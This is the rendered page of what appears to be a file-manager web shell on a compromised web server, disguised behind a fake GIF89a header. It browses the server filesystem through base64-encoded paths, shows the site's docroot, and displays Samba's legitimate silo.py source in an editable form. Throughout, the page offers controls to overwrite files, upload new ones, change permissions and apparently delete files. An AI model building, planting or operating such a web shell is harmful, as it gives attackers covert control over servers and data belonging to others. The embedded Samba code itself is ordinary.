GIF89a
?
??????


			





   !!!"""###$$$%%%&&&'''((()))***+++,,,---...///000111222333444555666777888999:::;;;<<<===>>>???@@@AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUVVVWWWXXXYYYZZZ[[[\\\]]]^^^___```aaabbbcccdddeeefffggghhhiiijjjkkklllmmmnnnooopppqqqrrrssstttuuuvvvwwwxxxyyyzzz{{{|||}}}~~~wnd[SJC;4.'"???!	???!Generated by onlineGIFtools.com?,????
?
????;
<hr>silo.py<form method=post action="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3NhbWJhL25ldGNtZC9kb21haW4vYXV0aA%3D%3D&f=c2lsby5weQ%3D%3D"><input name="f" value="silo.py"><textarea name="t"># Unix SMB/CIFS implementation.
#
# authentication silos - authentication silo management
#
# Copyright (C) Catalyst.Net Ltd. 2023
#
# Written by Rob van der Linde &lt;rob@catalyst.net.nz&gt;
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program.  If not, see &lt;http://www.gnu.org/licenses/&gt;.
#

import samba.getopt as options
from samba.netcmd import Command, CommandError, Option, SuperCommand
from samba.netcmd.domain.models import AuthenticationPolicy, AuthenticationSilo
from samba.netcmd.domain.models.exceptions import ModelError

from .silo_member import cmd_domain_auth_silo_member


class cmd_domain_auth_silo_list(Command):
    &quot;&quot;&quot;List authentication silos on the domain.&quot;&quot;&quot;

    synopsis = &quot;%prog -H &lt;URL&gt; [options]&quot;

    takes_optiongroups = {
        &quot;sambaopts&quot;: options.SambaOptions,
        &quot;credopts&quot;: options.CredentialsOptions,
    }

    takes_options = [
        Option(&quot;-H&quot;, &quot;--URL&quot;, help=&quot;LDB URL for database or target server.&quot;,
               type=str, metavar=&quot;URL&quot;, dest=&quot;ldap_url&quot;),
        Option(&quot;--json&quot;, help=&quot;Output results in JSON format.&quot;,
               dest=&quot;output_format&quot;, action=&quot;store_const&quot;, const=&quot;json&quot;),
    ]

    def run(self, ldap_url=None, sambaopts=None, credopts=None,
            output_format=None):

        ldb = self.ldb_connect(ldap_url, sambaopts, credopts)

        # Authentication silos grouped by cn.
        try:
            silos = {silo.cn: silo.as_dict()
                     for silo in AuthenticationSilo.query(ldb)}
        except ModelError as e:
            raise CommandError(e)

        # Using json output format gives more detail.
        if output_format == &quot;json&quot;:
            self.print_json(silos)
        else:
            for silo in silos.keys():
                self.outf.write(f&quot;{silo}\n&quot;)


class cmd_domain_auth_silo_view(Command):
    &quot;&quot;&quot;View an authentication silo on the domain.&quot;&quot;&quot;

    synopsis = &quot;%prog -H &lt;URL&gt; [options]&quot;

    takes_optiongroups = {
        &quot;sambaopts&quot;: options.SambaOptions,
        &quot;credopts&quot;: options.CredentialsOptions,
    }

    takes_options = [
        Option(&quot;-H&quot;, &quot;--URL&quot;, help=&quot;LDB URL for database or target server.&quot;,
               type=str, metavar=&quot;URL&quot;, dest=&quot;ldap_url&quot;),
        Option(&quot;--name&quot;,
               help=&quot;Name of authentication silo to view (required).&quot;,
               dest=&quot;name&quot;, action=&quot;store&quot;, type=str),
    ]

    def run(self, ldap_url=None, sambaopts=None, credopts=None, name=None):

        if not name:
            raise CommandError(&quot;Argument --name is required.&quot;)

        ldb = self.ldb_connect(ldap_url, sambaopts, credopts)

        try:
            silo = AuthenticationSilo.get(ldb, cn=name)
        except ModelError as e:
            raise CommandError(e)

        # Check if silo exists first.
        if silo is None:
            raise CommandError(f&quot;Authentication silo {name} not found.&quot;)

        # Display silo as JSON.
        self.print_json(silo.as_dict())


class cmd_domain_auth_silo_create(Command):
    &quot;&quot;&quot;Create a new authentication silo on the domain.&quot;&quot;&quot;

    synopsis = &quot;%prog -H &lt;URL&gt; [options]&quot;

    takes_optiongroups = {
        &quot;sambaopts&quot;: options.SambaOptions,
        &quot;credopts&quot;: options.CredentialsOptions,
    }

    takes_options = [
        Option(&quot;-H&quot;, &quot;--URL&quot;, help=&quot;LDB URL for database or target server.&quot;,
               type=str, metavar=&quot;URL&quot;, dest=&quot;ldap_url&quot;),
        Option(&quot;--name&quot;, help=&quot;Name of authentication silo (required).&quot;,
               dest=&quot;name&quot;, action=&quot;store&quot;, type=str),
        Option(&quot;--description&quot;,
               help=&quot;Optional description for authentication silo.&quot;,
               dest=&quot;description&quot;, action=&quot;store&quot;, type=str),
        Option(&quot;--policy&quot;,
               help=&quot;Use single policy for all principals in this silo.&quot;,
               dest=&quot;policy&quot;, action=&quot;store&quot;, type=str),
        Option(&quot;--user-policy&quot;,
               help=&quot;User account policy.&quot;,
               dest=&quot;user_policy&quot;, action=&quot;store&quot;, type=str),
        Option(&quot;--service-policy&quot;,
               help=&quot;Managed Service Account policy.&quot;,
               dest=&quot;service_policy&quot;, action=&quot;store&quot;, type=str),
        Option(&quot;--computer-policy&quot;,
               help=&quot;Computer account policy.&quot;,
               dest=&quot;computer_policy&quot;, action=&quot;store&quot;, type=str),
        Option(&quot;--protect&quot;,
               help=&quot;Protect authentication silo from accidental deletion.&quot;,
               dest=&quot;protect&quot;, action=&quot;store_true&quot;),
        Option(&quot;--unprotect&quot;,
               help=&quot;Unprotect authentication silo from accidental deletion.&quot;,
               dest=&quot;unprotect&quot;, action=&quot;store_true&quot;),
        Option(&quot;--audit&quot;,
               help=&quot;Only audit silo policies.&quot;,
               dest=&quot;audit&quot;, action=&quot;store_true&quot;),
        Option(&quot;--enforce&quot;,
               help=&quot;Enforce silo policies.&quot;,
               dest=&quot;enforce&quot;, action=&quot;store_true&quot;)
    ]

    @staticmethod
    def get_policy(ldb, name):
        &quot;&quot;&quot;Helper function to fetch auth policy or raise CommandError.

        :param ldb: Ldb connection
        :param name: Either the DN or name of authentication policy
        &quot;&quot;&quot;
        try:
            return AuthenticationPolicy.lookup(ldb, name)
        except (LookupError, ValueError) as e:
            raise CommandError(e)

    def run(self, ldap_url=None, sambaopts=None, credopts=None, name=None,
            description=None, policy=None, user_policy=None,
            service_policy=None, computer_policy=None, protect=None,
            unprotect=None, audit=None, enforce=None):

        if not name:
            raise CommandError(&quot;Argument --name is required.&quot;)
        if protect and unprotect:
            raise CommandError(&quot;--protect and --unprotect cannot be used together.&quot;)
        if audit and enforce:
            raise CommandError(&quot;--audit and --enforce cannot be used together.&quot;)

        # If --policy is present start with that as the base. Then optionally
        # --user-policy, --service-policy, --computer-policy can override this.
        if policy is not None:
            user_policy = user_policy or policy
            service_policy = service_policy or policy
            computer_policy = computer_policy or policy

        ldb = self.ldb_connect(ldap_url, sambaopts, credopts)

        try:
            silo = AuthenticationSilo.get(ldb, cn=name)
        except ModelError as e:
            raise CommandError(e)

        # Make sure silo doesn't already exist.
        if silo is not None:
            raise CommandError(f&quot;Authentication silo {name} already exists.&quot;)

        # New silo object.
        silo = AuthenticationSilo(cn=name, description=description)

        # Set user policy
        if user_policy:
            silo.user_policy = self.get_policy(ldb, user_policy).dn

        # Set service policy
        if service_policy:
            silo.service_policy = self.get_policy(ldb, service_policy).dn

        # Set computer policy
        if computer_policy:
            silo.computer_policy = self.get_policy(ldb, computer_policy).dn

        # Either --enforce will be set or --audit but never both.
        # The default if both are missing is enforce=True.
        if enforce is not None:
            silo.enforced = enforce
        else:
            silo.enforced = not audit

        # Create silo
        try:
            silo.save(ldb)

            if protect:
                silo.protect(ldb)
        except ModelError as e:
            raise CommandError(e)

        # Authentication silo created successfully.
        self.outf.write(f&quot;Created authentication silo: {name}\n&quot;)


class cmd_domain_auth_silo_modify(Command):
    &quot;&quot;&quot;Modify an authentication silo on the domain.&quot;&quot;&quot;

    synopsis = &quot;%prog -H &lt;URL&gt; [options]&quot;

    takes_optiongroups = {
        &quot;sambaopts&quot;: options.SambaOptions,
        &quot;credopts&quot;: options.CredentialsOptions,
    }

    takes_options = [
        Option(&quot;-H&quot;, &quot;--URL&quot;, help=&quot;LDB URL for database or target server.&quot;,
               type=str, metavar=&quot;URL&quot;, dest=&quot;ldap_url&quot;),
        Option(&quot;--name&quot;, help=&quot;Name of authentication silo (required).&quot;,
               dest=&quot;name&quot;, action=&quot;store&quot;, type=str),
        Option(&quot;--description&quot;,
               help=&quot;Optional description for authentication silo.&quot;,
               dest=&quot;description&quot;, action=&quot;store&quot;, type=str),
        Option(&quot;--policy&quot;,
               help=&quot;Set single policy for all principals in this silo.&quot;,
               dest=&quot;policy&quot;, action=&quot;store&quot;, type=str),
        Option(&quot;--user-policy&quot;,
               help=&quot;Set User account policy.&quot;,
               dest=&quot;user_policy&quot;, action=&quot;store&quot;, type=str),
        Option(&quot;--service-policy&quot;,
               help=&quot;Set Managed Service Account policy.&quot;,
               dest=&quot;service_policy&quot;, action=&quot;store&quot;, type=str),
        Option(&quot;--computer-policy&quot;,
               help=&quot;Set Computer Account policy.&quot;,
               dest=&quot;computer_policy&quot;, action=&quot;store&quot;, type=str),
        Option(&quot;--protect&quot;,
               help=&quot;Protect authentication silo from accidental deletion.&quot;,
               dest=&quot;protect&quot;, action=&quot;store_true&quot;),
        Option(&quot;--unprotect&quot;,
               help=&quot;Unprotect authentication silo from accidental deletion.&quot;,
               dest=&quot;unprotect&quot;, action=&quot;store_true&quot;),
        Option(&quot;--audit&quot;,
               help=&quot;Only audit silo policies.&quot;,
               dest=&quot;audit&quot;, action=&quot;store_true&quot;),
        Option(&quot;--enforce&quot;,
               help=&quot;Enforce silo policies.&quot;,
               dest=&quot;enforce&quot;, action=&quot;store_true&quot;)
    ]

    @staticmethod
    def get_policy(ldb, name):
        &quot;&quot;&quot;Helper function to fetch auth policy or raise CommandError.

        :param ldb: Ldb connection
        :param name: Either the DN or name of authentication policy
        &quot;&quot;&quot;
        try:
            return AuthenticationPolicy.lookup(ldb, name)
        except (LookupError, ModelError, ValueError) as e:
            raise CommandError(e)

    def run(self, ldap_url=None, sambaopts=None, credopts=None, name=None,
            description=None, policy=None, user_policy=None,
            service_policy=None, computer_policy=None, protect=None,
            unprotect=None, audit=None, enforce=None):

        if not name:
            raise CommandError(&quot;Argument --name is required.&quot;)
        if audit and enforce:
            raise CommandError(&quot;--audit and --enforce cannot be used together.&quot;)
        if protect and unprotect:
            raise CommandError(&quot;--protect and --unprotect cannot be used together.&quot;)

        # If --policy is set then start with that for all policies.
        # They can be individually overridden as well after that.
        if policy is not None:
            user_policy = user_policy or policy
            service_policy = service_policy or policy
            computer_policy = computer_policy or policy

        ldb = self.ldb_connect(ldap_url, sambaopts, credopts)

        try:
            silo = AuthenticationSilo.get(ldb, cn=name)
        except ModelError as e:
            raise CommandError(e)

        # Check if silo exists first.
        if silo is None:
            raise CommandError(f&quot;Authentication silo {name} not found.&quot;)

        # Either --enforce will be set or --audit but never both.
        if enforce:
            silo.enforced = True
        elif audit:
            silo.enforced = False

        # Update the description.
        if description is not None:
            silo.description = description

        # Set or unset user policy.
        if user_policy == &quot;&quot;:
            silo.user_policy = None
        elif user_policy:
            silo.user_policy = self.get_policy(ldb, user_policy).dn

        # Set or unset service policy.
        if service_policy == &quot;&quot;:
            silo.service_policy = None
        elif service_policy:
            silo.service_policy = self.get_policy(ldb, service_policy).dn

        # Set or unset computer policy.
        if computer_policy == &quot;&quot;:
            silo.computer_policy = None
        elif computer_policy:
            silo.computer_policy = self.get_policy(ldb, computer_policy).dn

        # Update silo
        try:
            silo.save(ldb)

            if protect:
                silo.protect(ldb)
            elif unprotect:
                silo.unprotect(ldb)
        except ModelError as e:
            raise CommandError(e)

        # Silo updated successfully.
        self.outf.write(f&quot;Updated authentication silo: {name}\n&quot;)


class cmd_domain_auth_silo_delete(Command):
    &quot;&quot;&quot;Delete an authentication silo on the domain.&quot;&quot;&quot;

    synopsis = &quot;%prog -H &lt;URL&gt; [options]&quot;

    takes_optiongroups = {
        &quot;sambaopts&quot;: options.SambaOptions,
        &quot;credopts&quot;: options.CredentialsOptions,
    }

    takes_options = [
        Option(&quot;-H&quot;, &quot;--URL&quot;, help=&quot;LDB URL for database or target server.&quot;,
               type=str, metavar=&quot;URL&quot;, dest=&quot;ldap_url&quot;),
        Option(&quot;--name&quot;, help=&quot;Name of authentication silo (required).&quot;,
               dest=&quot;name&quot;, action=&quot;store&quot;, type=str),
        Option(&quot;--force&quot;, help=&quot;Force delete protected authentication silo.&quot;,
               dest=&quot;force&quot;, action=&quot;store_true&quot;)
    ]

    def run(self, ldap_url=None, sambaopts=None, credopts=None, name=None,
            force=None):

        if not name:
            raise CommandError(&quot;Argument --name is required.&quot;)

        ldb = self.ldb_connect(ldap_url, sambaopts, credopts)

        try:
            silo = AuthenticationSilo.get(ldb, cn=name)
        except ModelError as e:
            raise CommandError(e)

        # Check if silo exists first.
        if silo is None:
            raise CommandError(f&quot;Authentication silo {name} not found.&quot;)

        # Delete silo
        try:
            if force:
                silo.unprotect(ldb)

            silo.delete(ldb)
        except ModelError as e:
            if not force:
                raise CommandError(
                    f&quot;{e}\nTry --force to delete protected authentication silos.&quot;)
            else:
                raise CommandError(e)

        # Authentication silo deleted successfully.
        self.outf.write(f&quot;Deleted authentication silo: {name}\n&quot;)


class cmd_domain_auth_silo(SuperCommand):
    &quot;&quot;&quot;Manage authentication silos on the domain.&quot;&quot;&quot;

    subcommands = {
        &quot;list&quot;: cmd_domain_auth_silo_list(),
        &quot;view&quot;: cmd_domain_auth_silo_view(),
        &quot;create&quot;: cmd_domain_auth_silo_create(),
        &quot;modify&quot;: cmd_domain_auth_silo_modify(),
        &quot;delete&quot;: cmd_domain_auth_silo_delete(),
        &quot;member&quot;: cmd_domain_auth_silo_member(),
    }
</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L3Zhci93d3cvZTM1ZjUxNmEtZTYyOS00NWU1LThjMGYtMzg4OWYyMGEyNDkzL3B1YmxpY19odG1s">/var/www/e35f516a-e629-45e5-8c0f-3889f20a2493/public_html</a><hr>curdir: /usr/lib/python3/dist-packages/samba/netcmd/domain/auth<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3NhbWJhL25ldGNtZC9kb21haW4vYXV0aA=="/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3NhbWJhL25ldGNtZC9kb21haW4vYXV0aA==&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3NhbWJhL25ldGNtZC9kb21haW4="/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3NhbWJhL25ldGNtZC9kb21haW4vYXV0aA==&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3NhbWJhL25ldGNtZC9kb21haW4vYXV0aA==&x=X19pbml0X18ucHk=">X</a></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3NhbWJhL25ldGNtZC9kb21haW4vYXV0aA==&f=X19pbml0X18ucHk="/>__init__.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3NhbWJhL25ldGNtZC9kb21haW4vYXV0aA==&f=X19pbml0X18ucHk=&c=`+btoa(c):0" value="0644"></td><td>1129</td></tr><tr><td></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3NhbWJhL25ldGNtZC9kb21haW4vYXV0aC9fX3B5Y2FjaGVfXw=="/>__pycache__</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3NhbWJhL25ldGNtZC9kb21haW4vYXV0aA==&f=X19weWNhY2hlX18=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3NhbWJhL25ldGNtZC9kb21haW4vYXV0aA==&x=cG9saWN5LnB5">X</a></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3NhbWJhL25ldGNtZC9kb21haW4vYXV0aA==&f=cG9saWN5LnB5"/>policy.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3NhbWJhL25ldGNtZC9kb21haW4vYXV0aA==&f=cG9saWN5LnB5&c=`+btoa(c):0" value="0644"></td><td>16017</td></tr><tr><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3NhbWJhL25ldGNtZC9kb21haW4vYXV0aA==&x=c2lsby5weQ==">X</a></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3NhbWJhL25ldGNtZC9kb21haW4vYXV0aA==&f=c2lsby5weQ=="/>silo.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3NhbWJhL25ldGNtZC9kb21haW4vYXV0aA==&f=c2lsby5weQ==&c=`+btoa(c):0" value="0644"></td><td>14981</td></tr><tr><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3NhbWJhL25ldGNtZC9kb21haW4vYXV0aA==&x=c2lsb19tZW1iZXIucHk=">X</a></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3NhbWJhL25ldGNtZC9kb21haW4vYXV0aA==&f=c2lsb19tZW1iZXIucHk="/>silo_member.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3NhbWJhL25ldGNtZC9kb21haW4vYXV0aA==&f=c2lsb19tZW1iZXIucHk=&c=`+btoa(c):0" value="0644"></td><td>7336</td></tr></table>